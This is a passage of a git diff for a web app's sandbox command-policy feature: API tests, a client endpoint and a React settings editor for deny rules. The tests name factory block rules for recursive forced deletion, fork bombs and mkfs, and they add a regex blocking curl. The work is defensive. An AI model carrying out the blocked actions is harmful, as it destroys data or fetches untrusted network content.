`/api/projects/${projectId}/command-policy`;+ expect(+ (await owner.post(`/api/projects/${projectId}/members`, { userId: "member_b" })).status,+ ).toBe(201);+ });+ afterEach(async () => {+ await t.cleanup();+ });++ it("a new project is seeded with the factory rules; any member reads; a non-member gets 404", async () => {+ // Seeded at creation, model-presets style: the file itself carries the block.+ const toml = await fs.readFile(path.join(t.root, projectId, ".project_config.toml"), "utf8");+ expect(toml).toContain("[[command_policy.rules]]");++ const res = await member.get(url);+ expect(res.status).toBe(200);+ const dto = (await res.json()) as CommandPolicyDto;+ expect(dto.enabled).toBe(true);+ expect(dto.rules.map((r) => r.name)).toContain("rm-recursive-force");+ expect(dto.rules.every((r) => r.enabled)).toBe(true);+ expect(dto.defaultRules).toEqual(dto.rules);+ expect((await outsider.get(url)).status).toBe(404);+ });++ it("a pre-seeding project (no stored block) still serves the factory rules", async () => {+ // Strip the seeded block, mimicking a config written before the feature existed+ // (drop every command_policy line up to the [[models]] section).+ const file = path.join(t.root, projectId, ".project_config.toml");+ const lines = (await fs.readFile(file, "utf8")).split("\n");+ const start = lines.findIndex((l) => l.replace(/^\[+/, "").startsWith("command_policy"));+ const end = lines.findIndex((l) => l.startsWith("[[models]]"));+ expect(start).toBeGreaterThanOrEqual(0);+ await fs.writeFile(file, [...lines.slice(0, start), ...lines.slice(end)].join("\n"), "utf8");++ const dto = (await (await owner.get(url)).json()) as CommandPolicyDto;+ expect(dto.enabled).toBe(true);+ expect(dto.rules.map((r) => r.name)).toContain("rm-recursive-force");+ });++ it("rules are editable data: edit, disable, delete and add all round-trip", async () => {+ const before = (await (await owner.get(url)).json()) as CommandPolicyDto;+ const edited = before.rules+ .filter((r) => r.name !== "fork-bomb") // delete one (its Windows counterpart stays)+ .map((r) =>+ r.name === "rm-recursive-force"+ ? { ...r, enabled: false } // disable one (the rm -rf node_modules escape hatch)+ : r.name === "mkfs"+ ? { ...r, name: "no-mkfs", description: "renamed by the owner" } // edit one+ : r,+ );+ edited.push({ name: "no-curl", pattern: "\\bcurl\\b", enabled: true });++ const put = await owner.put(url, { enabled: true, rules: edited });+ expect(put.status).toBe(200);+ const stored = (await put.json()) as CommandPolicyDto;+ expect(stored.rules).toEqual(edited);+ // The factory reference is unaffected by edits.+ expect(stored.defaultRules).toEqual(before.defaultRules);++ const toml = await fs.readFile(path.join(t.root, projectId, ".project_config.toml"), "utf8");+ expect(toml).toContain('name = "no-mkfs"');+ // Keyed on the exact stored line: "fork-bomb" is also a substring of windows-fork-bomb.+ expect(toml).not.toContain('name = "fork-bomb"');++ // Restore defaults = PUT the served factory set back.+ const restore = await owner.put(url, { enabled: true, rules: stored.defaultRules });+ expect(((await restore.json()) as CommandPolicyDto).rules).toEqual(before.defaultRules);+ });++ it("an empty rules list and a disabled policy both round-trip", async () => {+ expect((await owner.put(url, { enabled: false, rules: [] })).status).toBe(200);+ const dto = (await (await owner.get(url)).json()) as CommandPolicyDto;+ expect(dto.enabled).toBe(false);+ expect(dto.rules).toEqual([]);+ // Factory reference still served for restore.+ expect(dto.defaultRules.length).toBeGreaterThan(0);+ });++ it("member PUT is 403; outsider PUT is 404", async () => {+ expect((await member.put(url, { rules: [] })).status).toBe(403);+ expect((await outsider.put(url, { rules: [] })).status).toBe(404);+ });++ it("rejects an uncompilable pattern with the rule's name in the message", async () => {+ const res = await owner.put(url, { rules: [{ name: "broken", pattern: "(" }] });+ expect(res.status).toBe(400);+ const body = (await res.json()) as ErrorBody;+ expect(body.error.code).toBe("invalid_rule_pattern");+ expect(body.error.message).toContain("broken");+ });++ it("rejects malformed bodies (missing rules, bad entries, wrong types)", async () => {+ expect((await owner.put(url, {})).status).toBe(400); // rules is required+ for (const rules of [+ [{ pattern: "x" }],+ [{ name: "", pattern: "x" }],+ [{ name: "n" }],+ [{ name: "n", pattern: "" }],+ [{ name: "n", pattern: "x", enabled: "yes" }],+ [{ name: "n", pattern: "x", description: 42 }],+ ["not-an-object"],+ "not-an-array",+ ]) {+ const res = await owner.put(url, { rules });+ expect(res.status, JSON.stringify(rules)).toBe(400);+ }+ expect((await owner.put(url, { enabled: "yes", rules: [] })).status).toBe(400);+ });++ it("a policy write is a read-modify-write: the models table survives", async () => {+ const before = (await (+ await owner.get(`/api/projects/${projectId}/models`)+ ).json()) as ModelsResponse;+ expect(before.models.length).toBeGreaterThan(0);+ expect((await owner.put(url, { enabled: false, rules: [] })).status).toBe(200);+ const after = (await (+ await owner.get(`/api/projects/${projectId}/models`)+ ).json()) as ModelsResponse;+ expect(after.models.length).toBe(before.models.length);+ });+});diff --git a/packages/web/src/api/endpoints.ts b/packages/web/src/api/endpoints.tsindex c5468a03..ce88347b 100644--- a/packages/web/src/api/endpoints.ts+++ b/packages/web/src/api/endpoints.ts@@ -29,6 +29,8 @@ import type {BenchmarksResponse,CaseMaterial,ChatDefaultsDto,+ CommandPolicyDto,+ CommandPolicyRuleDto,DefaultModelResponse,DefaultModelUpdateRequest,DirListResponse,@@ -190,6 +192,20 @@ export const putChatDefaults = (projectId: string, body: ChatDefaultsDto) =>body,});+/** Sandbox command policy ([command_policy]): member-readable; carries the factory set for "restore defaults". */+export const getCommandPolicy = (projectId: string) =>+ apiFetch<CommandPolicyDto>(`/api/projects/${encodeURIComponent(projectId)}/command-policy`);++/** Whole-block replace (owner): the full rule list is required and gets materialized into the config. */+export const putCommandPolicy = (+ projectId: string,+ body: { enabled: boolean; rules: CommandPolicyRuleDto[] },+) =>+ apiFetch<CommandPolicyDto>(`/api/projects/${encodeURIComponent(projectId)}/command-policy`, {+ method: "PUT",+ body,+ });+// Model configuration -------------------------------------------------------------------export const getModels = (projectId: string) =>diff --git a/packages/web/src/components/layout/project-dialogs.tsx b/packages/web/src/components/layout/project-dialogs.tsxindex 1cf7dee4..23689581 100644--- a/packages/web/src/components/layout/project-dialogs.tsx+++ b/packages/web/src/components/layout/project-dialogs.tsx@@ -3,9 +3,12 @@* (member management and deletion, owner only). Invoked from the sidebar's Project switcher.*/import { useEffect, useState } from "react";+import type { ReactNode } from "react";import type {ApprovalMode,ChatDefaultsDto,+ CommandPolicyDto,+ CommandPolicyRuleDto,MemberInfo,ModelRefDto,ModelsResponse,@@ -32,6 +35,9 @@ import { sameModelRef } from "../../features/models/model-grouping";import { Button } from "../ui/button";import { Input } from "../ui/input";import { Select } from "../ui/select";+import { Switch } from "../ui/switch";+import { GEAR_ICON } from "../ui/icons";+import { AGENT_GROUP_ICON } from "../ui/group-list";import { FieldError, FieldHint, FieldLabel } from "../ui/field";import { toastError, toastSuccess } from "../ui/toast";import { Modal } from "../ui/modal";@@ -168,56 +174,160 @@ export function CreateProjectDialog({);}+/** Path data for the settings tabs' small icons (24px viewBox, stroked like NAV_ICONS). */+const TAB_ICON_PATHS = {+ general: GEAR_ICON,+ members: AGENT_GROUP_ICON,+ /** Sliders (lucide sliders-vertical). */+ defaults: "M4 21v-7m0-4V3m8 18v-9m0-4V3m8 18v-5m0-4V3M1 14h6m2-6h6m2 8h6",+ /** Shield (lucide shield). */+ security: "M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z",+} as const;++type SettingsTab = keyof typeof TAB_ICON_PATHS;++function TabIcon({ d }: { d: string }) {+ return (+ <svg+ width="15"+ height="15"+ viewBox="0 0 24 24"+ fill="none"+ stroke="currentColor"+ strokeWidth="1.7"+ strokeLinecap="round"+ strokeLinejoin="round"+ aria-hidden+ className="shrink-0"+ >+ <path d={d} />+ </svg>+ );+}++/**+ * One row of a settings page: title plus a one-line gray description on the left, the+ * control on the right. Rows are separated by the parent container's divide-y hairlines+ * (ruled sections, not card boxes).+ */+function SettingRow({+ title,+ description,+ children,+}: {+ title: ReactNode;+ description?: ReactNode;+ children?: ReactNode;+}) {+ return (+ <div className="flex items-center justify-between gap-4 py-3">+ <div className="min-w-0 flex-1">+ <p className="text-sm">{title}</p>+ {description !== undefined && <p className="mt-0.5 text-xs text-gray-400">{description}</p>}+ </div>+ {children !== undefined && <div className="flex shrink-0 items-center gap-2">{children}</div>}+ </div>+ );+}+/**- * Project settings dialog: display name (owner-editable), member management (owner) and- * deletion (owner); members see the name and member list read-only.+ * Project settings dialog: a left tab rail (General / Members / Defaults / Security+ * policy) with a row-styled content pane per tab; on narrow screens the rail degrades to a+ * horizontally scrollable strip above the content. Members does not exist in the+ * single-user desktop app (the server answers desktop_single_user on those routes), so the+ * tab is hidden there outright. Each page component owns its data and save flow; the+ * dialog only routes tabs, resetting to General per open.*/export function ProjectSettingsDialog({ open, onClose }: { open: boolean; onClose: () => void }) {- const { user, desktopMode } = useAuth();- const { currentProject, setCurrentProjectId, projects, reloadProjects } = useProject();- const [members, setMembers] = useState<MemberInfo[] | null>(null);- const [newMemberId, setNewMemberId] = useState("");- // Only the initial member-list load shows inline (in place of the table); action failures pop a toast.- const [loadError, setLoadError] = useState<string | null>(null);- const [confirmDelete, setConfirmDelete] = useState(false);- /** Display-name edit buffer (owner only); saving is explicit, so it stays dirty until Save or reopen. */- const [name, setName] = useState("");- const [nameBusy, setNameBusy] = useState(false);- const [nameError, setNameError] = useState<string | undefined>(undefined);+ const { desktopMode } = useAuth();+ const { currentProject } = useProject();+ const [tab, setTab] = useState<SettingsTab>("general");++ useEffect(() => {+ if (open) setTab("general");+ }, [open]);const projectId = currentProject?.projectId;const isOwner = currentProject?.role === "owner";- /** The saved display name, with the same id fallback the switcher shows. */- const savedName = currentProject ? projectDisplayName(currentProject) : "";+ if (!currentProject || !projectId) return null;- useEffect(() => {- if (!open || !projectId) return;- setMembers(null);- setLoadError(null);- setConfirmDelete(false);- setName(savedName);- setNameError(undefined);- // Desktop mode is single-user: the member section is hidden below and the server- // rejects the member routes (desktop_single_user), so nothing is fetched.- if (!desktopMode) {- api- .listMembers(projectId)- .then((res) => setMembers(res.members))- .catch((e: unknown) => setLoadError(apiErrorText(e)));- }- // savedName is read at open time only: retyping in the field must not be clobbered by a- // list refresh, and reopening the dialog re-seeds it.- // eslint-disable-next-line react-hooks/exhaustive-deps- }, [open, projectId, desktopMode]);+ const tabs: { key: SettingsTab; label: string }[] = [+ { key: "general", label: S.project.settingsTabGeneral },+ ...(!desktopMode ? [{ key: "members" as const, label: S.project.settingsTabMembers }] : []),+ { key: "defaults", label: S.project.settingsTabDefaults },+ { key: "security", label: S.project.settingsTabSecurity },+ ];+ const active = tabs.find((t) => t.key === tab) ?? tabs[0]!;- if (!currentProject || !projectId) return null;+ return (+ <Modal open={open} title={S.project.settingsTitle} onClose={onClose} widthClass="sm:max-w-3xl">+ <div className="flex flex-col gap-3 sm:min-h-[26rem] sm:flex-row sm:gap-0">+ <nav+ aria-label={S.project.settingsTitle}+ className="flex shrink-0 gap-1 overflow-x-auto sm:w-44 sm:flex-col sm:overflow-x-visible sm:border-r sm:border-gray-100 sm:pr-3 dark:sm:border-gray-800"+ >+ {tabs.map((t) => (+ <button+ key={t.key}+ type="button"+ aria-current={active.key === t.key ? "page" : undefined}+ onClick={() => setTab(t.key)}+ className={`flex shrink-0 items-center gap-2 rounded-md px-2.5 py-1.5 text-left text-sm transition-colors duration-150 ${+ active.key === t.key+ ? "bg-gray-100 font-medium text-gray-900 dark:bg-gray-800 dark:text-gray-100"+ : "text-gray-600 hover:bg-gray-50 dark:text-gray-300 dark:hover:bg-gray-800/60"+ }`}+ >+ <TabIcon d={TAB_ICON_PATHS[t.key]} />+ <span className="truncate">{t.label}</span>+ </button>+ ))}+ </nav>+ <section className="min-w-0 flex-1 sm:pl-5">+ <h3 className="text-base font-semibold">{active.label}</h3>+ <div className="mt-2">+ {active.key === "general" && (+ <GeneralSection projectId={projectId} isOwner={isOwner} onClose={onClose} />+ )}+ {active.key === "members" && <MembersSection projectId={projectId} isOwner={isOwner} />}+ {active.key === "defaults" && (+ <ChatDefaultsSection projectId={projectId} isOwner={isOwner} />+ )}+ {active.key === "security" && (+ <SecurityPolicySection projectId={projectId} isOwner={isOwner} />+ )}+ </div>+ </section>+ </div>+ </Modal>+ );+}++/**+ * General page: the display name (the Project's only editable field — the id names the+ * directory and every stored reference, so it stays immutable and gets a read-only row),+ * plus the delete zone. Saving the name is explicit; success needs no toast (the switcher,+ * this field and every Project list re-render once reloadProjects settles, #54), only+ * failures pop one, and the field keeps what was typed so it can be retried.+ */+function GeneralSection({+ projectId,+ isOwner,+ onClose,+}: {+ projectId: string;+ isOwner: boolean;+ onClose: () => void;+}) {+ const { currentProject, setCurrentProjectId, projects, reloadProjects } = useProject();+ /** The saved display name, with the same id fallback the switcher shows. */+ const savedName = currentProject ? projectDisplayName(currentProject) : "";+ /** Display-name edit buffer (owner only); saving is explicit, so it stays dirty until Save or remount. */+ const [name, setName] = useState(savedName);+ const [nameBusy, setNameBusy] = useState(false);+ const [nameError, setNameError] = useState<string | undefined>(undefined);+ const [confirmDelete, setConfirmDelete] = useState(false);- /**- * Save the display name (owner). The id is immutable, so this is the only editable field of- * the Project itself. Success needs no toast: the switcher, this dialog's field and every- * Project list re-render with the new name once reloadProjects settles (#54, one notification- * per action) — only failures pop one, and the field keeps what was typed so it can be retried.- */const saveName = async () => {const next = name.trim();if (!next || next === savedName || nameBusy) return;@@ -233,6 +343,115 @@ export function ProjectSettingsDialog({ open, onClose }: { open: boolean; onClos}};+ const doDelete = async () => {+ try {+ await api.deleteProject(projectId);+ onClose();+ const next = projects.find((p) => p.projectId !== projectId);+ await reloadProjects();+ if (next) setCurrentProjectId(next.projectId);+ } catch (e) {+ toastError(apiErrorText(e));+ }+ };++ return (+ <div className="divide-y divide-gray-100 dark:divide-gray-800/60">+ <SettingRow title={S.project.displayName}>+ {isOwner ? (+ <div className="flex flex-col items-end gap-1">+ <div className="flex items-stretch gap-2">+ <Input+ size="sm"+ className="w-44"+ value={name}+ invalid={Boolean(nameError)}+ maxLength={100}+ onChange={(e) => {+ setName(e.target.value);+ if (nameError) setNameError(undefined);+ }}+ onKeyDown={(e) => {+ if (e.key === "Enter") void saveName();+ }}+ />+ <Button+ size="sm"+ disabled={nameBusy || !name.trim() || name.trim() === savedName}+ onClick={() => void saveName()}+ >+ {S.common.save}+ </Button>+ </div>+ {nameError !== undefined && <FieldError>{nameError}</FieldError>}+ </div>+ ) : (+ <span className="text-sm">{savedName}</span>+ )}+ </SettingRow>+ <SettingRow title={S.project.projectIdLabel}>+ <span className="font-mono text-xs text-gray-400">{projectId}</span>+ </SettingRow>+ {isOwner &&+ (projectId === "default_project" ? (+ <SettingRow+ title={S.project.deleteProject}+ description={S.project.deleteDefaultForbidden}+ />+ ) : projects.length <= 1 ? (+ // Last accessible Project: deleting it would leave the account with no Project to+ // select (the page would get stuck on the skeleton screen), so the entry point is+ // hidden outright, matching the server's 409 rejection.+ <SettingRow title={S.project.deleteProject} description={S.project.deleteLastForbidden} />+ ) : (+ <SettingRow title={S.project.deleteProject} description={S.project.deleteProjectDesc}>+ <Button size="sm" variant="danger" onClick={() => setConfirmDelete(true)}>+ {S.common.delete}+ </Button>+ </SettingRow>+ ))}++ {/* Delete confirmation (shared ConfirmModal, stacked above the settings dialog). */}+ <ConfirmModal+ open={confirmDelete}+ title={S.project.deleteProject}+ onClose={() => setConfirmDelete(false)}+ onConfirm={() => void doDelete()}+ >+ <p className="text-sm text-gray-600 dark:text-gray-300">{S.project.deleteConfirm}</p>+ </ConfirmModal>+ </div>+ );+}++/**+ * Members page: the permission table (username / role / actions; owner adds and removes,+ * members read). Only the initial load shows inline (in place of the table); action+ * failures pop a toast. Mounted per tab visit, so revisiting refetches.+ */+function MembersSection({ projectId, isOwner }: { projectId: string; isOwner: boolean }) {+ const { user } = useAuth();+ const [members, setMembers] = useState<MemberInfo[] | null>(null);+ const [newMemberId, setNewMemberId] = useState("");+ const [loadError, setLoadError] = useState<string | null>(null);++ useEffect(() => {+ let cancelled = false;+ setMembers(null);+ setLoadError(null);+ api+ .listMembers(projectId)+ .then((res) => {+ if (!cancelled) setMembers(res.members);+ })+ .catch((e: unknown) => {+ if (!cancelled) setLoadError(apiErrorText(e));+ });+ return () => {+ cancelled = true;+ };+ }, [projectId]);+const addMember = async () => {if (!newMemberId.trim()) return;try {@@ -255,171 +474,65 @@ export function ProjectSettingsDialog({ open, onClose }: { open: boolean; onClos}};- const doDelete = async () => {- try {- await api.deleteProject(projectId);- onClose();- const next = projects.find((p) => p.projectId !== projectId);- await reloadProjects();- if (next) setCurrentProjectId(next.projectId);- } catch (e) {- toastError(apiErrorText(e));- }- };-+ if (loadError) return <p className="text-xs text-red-600 dark:text-red-400">{loadError}</p>;+ if (members === null) return <p className="text-xs text-gray-400">{S.common.loading}</p>;return (- <Modal open={open} title={S.project.settingsTitle} onClose={onClose}>- <div className="space-y-4">- {/* Display name: the Project's only editable field (the id names the directory and every- stored reference, so it stays immutable and sits below as a muted mono caption).- Members see the resolved name as plain text. */}- <div>- {isOwner ? (- <>- <FieldLabel>{S.project.displayName}</FieldLabel>- <div className="flex items-stretch gap-2">+ // Member permission table: username / role / actions; cells never wrap. Last row+ // (owner only) = add member: small username input + add button (new members are+ // always the member role).+ <div className="overflow-x-auto rounded-md border border-gray-200 dark:border-gray-800">+ <table className="w-full text-xs">+ <thead>+ <tr className="border-b border-gray-100 bg-gray-50 text-left text-gray-500 dark:border-gray-800 dark:bg-gray-900/60 dark:text-gray-400">+ <th className="whitespace-nowrap px-2.5 py-1.5 font-medium">{S.common.username}</th>+ <th className="whitespace-nowrap px-2.5 py-1.5 font-medium">{S.common.role}</th>+ <th className="w-20 whitespace-nowrap px-2.5 py-1.5 text-right font-medium">+ {S.common.actions}+ </th>+ </tr>+ </thead>+ <tbody className="divide-y divide-gray-100 dark:divide-gray-800/60">+ {members.map((m) => (+ <tr key={m.userId}>+ <td className="whitespace-nowrap px-2.5 py-1.5">{m.userId}</td>+ <td className="whitespace-nowrap px-2.5 py-1.5">+ <Badge tone="gray">{m.role}</Badge>+ </td>+ <td className="whitespace-nowrap px-2.5 py-1 text-right">+ {isOwner && m.role !== "owner" && m.userId !== user?.userId && (+ <Button size="sm" variant="ghost" onClick={() => void doRemove(m.userId)}>+ {S.project.removeMember}+ </Button>+ )}+ </td>+ </tr>+ ))}+ {isOwner && (+ <tr>+ <td className="px-2.5 py-1.5"><Input+ placeholder={S.common.username}size="sm"- className="min-w-0 flex-1"- value={name}- invalid={Boolean(nameError)}- maxLength={100}- onChange={(e) => {- setName(e.target.value);- if (nameError) setNameError(undefined);- }}+ value={newMemberId}+ onChange={(e) => setNewMemberId(e.target.value)}onKeyDown={(e) => {- if (e.key === "Enter") void saveName();+ if (e.key === "Enter") void addMember();}}/>- <Button- size="sm"- disabled={nameBusy || !name.trim() || name.trim() === savedName}- onClick={() => void saveName()}- >- {S.common.save}+ </td>+ <td className="whitespace-nowrap px-2.5 py-1.5">+ <Badge tone="gray">member</Badge>+ </td>+ <td className="whitespace-nowrap px-2.5 py-1 text-right">+ <Button size="sm" disabled={!newMemberId.trim()} onClick={() => void addMember()}>+ {S.project.addMember}</Button>- </div>- {nameError !== undefined && <FieldError>{nameError}</FieldError>}- </>- ) : (- <>- <p className="mb-1 text-xs font-medium text-gray-500">{S.project.switcher}</p>- <p className="text-sm">{savedName}</p>- </>+ </td>+ </tr>)}- <p className="mt-1 font-mono text-xs text-gray-400">{projectId}</p>- </div>-- {/* Member management does not exist in the single-user desktop app. */}- {!desktopMode && (- <div>- <p className="mb-2 text-xs font-medium text-gray-500">{S.project.members}</p>- {loadError ? (- <p className="text-xs text-red-600 dark:text-red-400">{loadError}</p>- ) : members === null ? (- <p className="text-xs text-gray-400">{S.common.loading}</p>- ) : (- // Member permission table: username / role / actions; cells never wrap.- // Last row (owner only) = add member: small username input + add button (new members are always the member role).- <div className="overflow-x-auto rounded-md border border-gray-200 dark:border-gray-800">- <table className="w-full text-xs">- <thead>- <tr className="border-b border-gray-100 bg-gray-50 text-left text-gray-500 dark:border-gray-800 dark:bg-gray-900/60 dark:text-gray-400">- <th className="whitespace-nowrap px-2.5 py-1.5 font-medium">- {S.common.username}- </th>- <th className="whitespace-nowrap px-2.5 py-1.5 font-medium">- {S.common.role}- </th>- <th className="w-20 whitespace-nowrap px-2.5 py-1.5 text-right font-medium">- {S.common.actions}- </th>- </tr>- </thead>- <tbody className="divide-y divide-gray-100 dark:divide-gray-800/60">- {members.map((m) => (- <tr key={m.userId}>- <td className="whitespace-nowrap px-2.5 py-1.5">{m.userId}</td>- <td className="whitespace-nowrap px-2.5 py-1.5">- <Badge tone="gray">{m.role}</Badge>- </td>- <td className="whitespace-nowrap px-2.5 py-1 text-right">- {isOwner && m.role !== "owner" && m.userId !== user?.userId && (- <Button- size="sm"- variant="ghost"- onClick={() => void doRemove(m.userId)}- >- {S.project.removeMember}- </Button>- )}- </td>- </tr>- ))}- {isOwner && (- <tr>- <td className="px-2.5 py-1.5">- <Input- placeholder={S.common.username}- size="sm"- value={newMemberId}- onChange={(e) => setNewMemberId(e.target.value)}- onKeyDown={(e) => {- if (e.key === "Enter") void addMember();- }}- />- </td>- <td className="whitespace-nowrap px-2.5 py-1.5">- <Badge tone="gray">member</Badge>- </td>- <td className="whitespace-nowrap px-2.5 py-1 text-right">- <Button- size="sm"- disabled={!newMemberId.trim()}- onClick={() => void addMember()}- >- {S.project.addMember}- </Button>- </td>- </tr>- )}- </tbody>- </table>- </div>- )}- </div>- )}-- <ChatDefaultsSection projectId={projectId} isOwner={isOwner} />-- {isOwner && (- <div className="border-t border-gray-100 pt-3 dark:border-gray-800">- {projectId === "default_project" ? (- <p className="text-xs text-gray-400">{S.project.deleteDefaultForbidden}</p>- ) : projects.length <= 1 ? (- // Last accessible Project: deleting it would leave the account with no Project to select- // (the page would get stuck on the skeleton screen), so the frontend hides the entry point outright, matching the server's 409 rejection.- <p className="text-xs text-gray-400">{S.project.deleteLastForbidden}</p>- ) : (- <Button size="sm" variant="danger" onClick={() => setConfirmDelete(true)}>- {S.project.deleteProject}- </Button>- )}- </div>- )}- </div>-- {/* Delete confirmation (shared ConfirmModal, stacked above the settings dialog). */}- <ConfirmModal- open={confirmDelete}- title={S.project.deleteProject}- onClose={() => setConfirmDelete(false)}- onConfirm={() => void doDelete()}- >- <p className="text-sm text-gray-600 dark:text-gray-300">{S.project.deleteConfirm}</p>- </ConfirmModal>- </Modal>+ </tbody>+ </table>+ </div>);}@@ -562,7 +675,7 @@ function ChatDefaultsSection({ projectId, isOwner }: { projectId: string; isOwneconst defaultModelInfo = models?.models.find((m) => sameModelRef(m, models.defaultModel));return (- <div className="border-t border-gray-100 pt-3 dark:border-gray-800">+ <div><p className="mb-2 flex items-center gap-1.5 text-xs font-medium text-gray-500">{S.project.chatDefaultsTitle}<InfoPopover label={S.project.chatDefaultsTitle}>{S.project.chatDefaultsHint}</InfoPopover>@@ -703,3 +816,310 @@ function ChatDefaultsSection({ projectId, isOwner }: { projectId: string; isOwne</div>);}++/** Field-level equality for the security page's dirty check (description "" ≡ absent). */+function sameRule(a: CommandPolicyRuleDto, b: CommandPolicyRuleDto): boolean {+ return (+ a.name === b.name &&+ a.pattern === b.pattern &&+ (a.description ?? "") === (b.description ?? "") &&+ a.enabled === b.enabled+ );+}++/**+ * Buffered rule editor, shared by add and edit: local field state, the pattern validated+ * as a compilable regex on apply (the server re-checks — "saved" must equal "enforced").+ */+function RuleEditor({+ initial,+ onApply,+ onCancel,+}: {+ initial: CommandPolicyRuleDto | null;+ onApply: (rule: CommandPolicyRuleDto) => void;+ onCancel: () => void;+}) {+ const [name, setName] = useState(initial?.name ?? "");+ const [pattern, setPattern] = useState(initial?.pattern ?? "");+ const [desc, setDesc] = useState(initial?.description ?? "");+ const [err, setErr] = useState<string | undefined>(undefined);++ const apply = () => {+ const n = name.trim();+ if (!n || !pattern) return;+ try {+ new RegExp(pattern);+ } catch {+ setErr(S.project.commandPolicyInvalidPattern);+ return;+ }+ const d = desc.trim();+ onApply({+ name: n,+ pattern,+ ...(d !== "" ? { description: d } : {}),+ enabled: initial?.enabled ?? true,+ });+ };++ return (+ <div className="space-y-2 py-3">+ <div className="flex flex-col gap-2 sm:flex-row">+ <Input+ size="sm"+ className="sm:w-40"+ placeholder={S.project.commandPolicyRuleName}+ value={name}+ maxLength={64}+ onChange={(e) => setName(e.target.value)}+ />+ <Input+ size="sm"+ className="min-w-0 flex-1 font-mono"+ placeholder={S.project.commandPolicyRulePattern}+ value={pattern}+ maxLength={512}+ invalid={Boolean(err)}+ onChange={(e) => {+ setPattern(e.target.value);+ if (err) setErr(undefined);+ }}+ onKeyDown={(e) => {+ if (e.key === "Enter") apply();+ }}+ />+ </div>+ <Input+ size="sm"+ className="w-full"+ placeholder={S.project.commandPolicyRuleDesc}+ value={desc}+ maxLength={300}+ onChange={(e) => setDesc(e.target.value)}+ />+ {err !== undefined && <FieldError>{err}</FieldError>}+ <div className="flex justify-end gap-2">+ <Button size="sm" variant="ghost" onClick={onCancel}>+ {S.common.cancel}+ </Button>+ <Button size="sm" disabled={!name.trim() || !pattern} onClick={apply}>+ {S.project.commandPolicyApplyRule}+ </Button>+ </div>+ </div>+ );+}++/**+ * Security-policy page: the `[command_policy]` block. One unified, fully editable rule+ * list — the factory rules are seeded data with no special status (edit / disable /+ * delete / add all apply), and "restore defaults" re-buffers the factory set served by the+ * API (buffered like every other edit — Save is what writes it). Owner edits buffer+ * locally with ONE explicit Save (dialog convention: failures toast, success toasts+ * saved); members see the effective state read-only. The list dims AND disables while the+ * master switch is off, but Save stays live so the toggle itself can be saved.+ */+function SecurityPolicySection({ projectId, isOwner }: { projectId: string; isOwner: boolean }) {+ const [saved, setSaved] = useState<CommandPolicyDto | null>(null);+ const [loadError, setLoadError] = useState<string | null>(null);+ const [busy, setBusy] = useState(false);+ const [enabled, setEnabled] = useState(true);+ const [rules, setRules] = useState<CommandPolicyRuleDto[]>([]);+ /** Index being edited inline, "new" for the add form, null when idle. */+ const [editing, setEditing] = useState<number | "new" | null>(null);++ useEffect(() => {+ let cancelled = false;+ // Cleared first: the effect re-fires per project, and the error branch renders ahead of+ // the loaded one — a stale error would outlive a later successful load.+ setSaved(null);+ setLoadError(null);+ setEditing(null);+ api+ .getCommandPolicy(projectId)+ .then((res) => {+ if (cancelled) return;+ setSaved(res);+ setEnabled(res.enabled);+ setRules(res.rules);+ })+ .catch((e: unknown) => {+ if (!cancelled) setLoadError(apiErrorText(e));+ });+ return () => {+ cancelled = true;+ };+ }, [projectId]);++ const dirty =+ saved !== null &&+ (enabled !== saved.enabled ||+ rules.length !== saved.rules.length ||+ rules.some((r, i) => !sameRule(r, saved.rules[i]!)));++ const save = async () => {+ if (busy || !dirty) return;+ setBusy(true);+ try {+ const stored = await api.putCommandPolicy(projectId, { enabled, rules });+ setSaved(stored);+ setEnabled(stored.enabled);+ setRules(stored.rules);+ toastSuccess(S.common.saved);+ } catch (e) {+ toastError(apiErrorText(e));+ } finally {+ setBusy(false);+ }+ };++ return (+ <div>+ <p className="text-xs leading-relaxed text-gray-400">{S.project.commandPolicyIntro}</p>+ {loadError !== null ? (+ <p className="mt-3 text-xs text-red-600 dark:text-red-400">{loadError}</p>+ ) : saved === null ? (+ <p className="mt-3 text-xs text-gray-400">{S.common.loading}</p>+ ) : (+ <>+ <div className="mt-1 divide-y divide-gray-100 dark:divide-gray-800/60">+ <SettingRow+ title={S.project.commandPolicyEnable}+ description={S.project.commandPolicyEnableDesc}+ >+ {isOwner ? (+ <Switch checked={enabled} onChange={setEnabled} disabled={busy} />+ ) : (+ <span className="text-xs text-gray-400">+ {enabled ? S.project.commandPolicyOn : S.project.commandPolicyOff}+ </span>+ )}+ </SettingRow>+ </div>+ {/* The list is inert while the master switch is off. `opacity` alone would leave+ every control focusable, so each one below disables on `!enabled` as well. */}+ <div className={enabled ? "" : "opacity-50"}>+ <div className="flex items-center justify-between gap-2 border-t border-gray-100 py-1.5 dark:border-gray-800/60">+ <p className="text-xs font-medium text-gray-500">+ {S.project.commandPolicyRules} ·{" "}+ <span className="font-semibold">{rules.length}</span>+ </p>+ {isOwner && (+ <div className="flex items-center gap-1">+ <Button+ size="sm"+ variant="ghost"+ disabled={busy || !enabled || editing !== null}+ onClick={() => setRules(saved.defaultRules.map((r) => ({ ...r })))}+ >+ {S.project.commandPolicyRestore}+ </Button>+ <Button+ size="sm"+ variant="ghost"+ disabled={busy || !enabled || editing !== null}+ onClick={() => setEditing("new")}+ >+ {S.project.commandPolicyAddRule}+ </Button>+ </div>+ )}+ </div>+ <div className="divide-y divide-gray-100 dark:divide-gray-800/60">+ {rules.map((r, i) =>+ editing === i ? (+ <RuleEditor+ key={`edit-${i}`}+ initial={r}+ onApply={(nr) => {+ setRules(rules.map((x, j) => (j === i ? nr : x)));+ setEditing(null);+ }}+ onCancel={() => setEditing(null)}+ />+ ) : (+ <div+ key={`${r.name}-${i}`}+ className={`flex items-center gap-3 py-2.5 ${r.enabled ? "" : "opacity-60"}`}+ >+ <div className="min-w-0 flex-1">+ <p className="text-sm font-medium">{r.name}</p>+ {r.description !== undefined && (+ <p className="mt-0.5 text-xs text-gray-400">{r.description}</p>+ )}+ <p+ className="mt-0.5 truncate font-mono text-[11px] text-gray-400"+ title={r.pattern}+ >+ {r.pattern}+ </p>+ </div>+ {isOwner ? (+ <div className="flex shrink-0 items-center gap-1.5">+ <Switch+ checked={r.enabled}+ disabled={busy || !enabled}+ onChange={(v) =>+ setRules(rules.map((x, j) => (j === i ? { ...x, enabled: v } : x)))+ }+ />+ <Button+ size="sm"+ variant="ghost"+ disabled={busy || !enabled || editing !== null}+ onClick={() => setEditing(i)}+ >+ {S.project.commandPolicyEditRule}+ </Button>+ <Button+ size="sm"+ variant="ghost"+ disabled={busy || !enabled || editing !== null}+ onClick={() => setRules(rules.filter((_, j) => j !== i))}+ >+ 